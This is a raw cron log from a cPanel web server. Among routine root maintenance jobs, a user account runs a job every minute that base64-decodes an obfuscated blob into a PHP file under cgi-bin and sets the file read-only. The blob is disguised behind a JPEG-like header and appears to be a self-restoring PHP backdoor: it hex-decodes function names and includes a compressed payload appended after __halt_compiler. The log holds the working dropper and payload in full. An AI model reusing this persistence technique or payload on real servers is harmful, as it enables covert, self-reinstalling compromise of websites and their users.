Nov 11 06:11:01 server CROND[998]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 06:12:01 server CROND[1820]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 06:12:01 server CROND[1821]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 06:13:01 server CROND[2668]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 06:14:01 server CROND[3498]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 06:15:01 server CROND[4333]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 06:15:01 server CROND[4335]: (root) CMD (/usr/local/cpanel/bin/dbindex &gt;/dev/null 2&gt;&amp;1)
Nov 11 06:15:01 server CROND[4334]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt &gt;/dev/null 2&gt;&amp;1)
Nov 11 06:15:01 server CROND[4339]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 06:15:01 server CROND[4341]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 06:16:01 server CROND[5332]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 06:17:01 server CROND[6092]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 06:18:01 server CROND[6920]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 06:19:01 server CROND[7747]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 06:20:01 server CROND[8664]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 06:20:01 server CROND[8666]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 06:20:01 server CROND[8667]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 06:20:01 server CROND[8669]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 06:20:01 server CROND[8668]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 06:21:01 server CROND[9768]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 06:22:01 server CROND[10593]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 06:23:01 server CROND[11476]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
